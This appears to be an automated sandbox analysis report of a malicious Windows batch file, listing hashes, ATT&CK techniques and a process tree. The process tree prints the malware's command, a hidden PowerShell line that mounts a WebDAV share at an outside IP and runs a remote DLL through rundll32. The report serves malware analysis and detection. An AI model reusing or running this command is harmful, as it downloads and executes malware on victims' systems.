179936f46374709f7f333ece1184aaf443a483366ce6ff3d0c8ae74a79155725

Analysis

max time kernel
106s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 15:22

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General

Target

179936f46374709f7f333ece1184aaf443a483366ce6ff3d0c8ae74a79155725.bat
Size

2KB
MD5

8269196e4e4a030c372599514c37c5af
SHA1

b687ed17d8284424680ae7bbe343b64a58b20f9b
SHA256

179936f46374709f7f333ece1184aaf443a483366ce6ff3d0c8ae74a79155725
SHA512

05e4233ebc69454c72f4301c2d6a91eeb05deffc4a621c1864f075292a394bb5a81d2d898f706b20c85b820ec69483b9af629eadd8755566ebf7c071e93ca4ca

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2780	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1136	wordpad.exe
1136	wordpad.exe
1136	wordpad.exe
1136	wordpad.exe
1136	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 1136	2232	cmd.exe	83
PID 2232 wrote to memory of 1136	2232	cmd.exe	83
PID 2232 wrote to memory of 2780	2232	cmd.exe	85
PID 2232 wrote to memory of 2780	2232	cmd.exe	85
PID 2780 wrote to memory of 2528	2780	powershell.exe	87
PID 2780 wrote to memory of 2528	2780	powershell.exe	87
PID 2780 wrote to memory of 2868	2780	powershell.exe	88
PID 2780 wrote to memory of 2868	2780	powershell.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\179936f46374709f7f333ece1184aaf443a483366ce6ff3d0c8ae74a79155725.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1363.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2528
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1363.dll,entry
    3⤵
    PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wxzyapt.krk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2780-9-0x000002E4E4850000-0x000002E4E4872000-memory.dmp

Filesize
136KB

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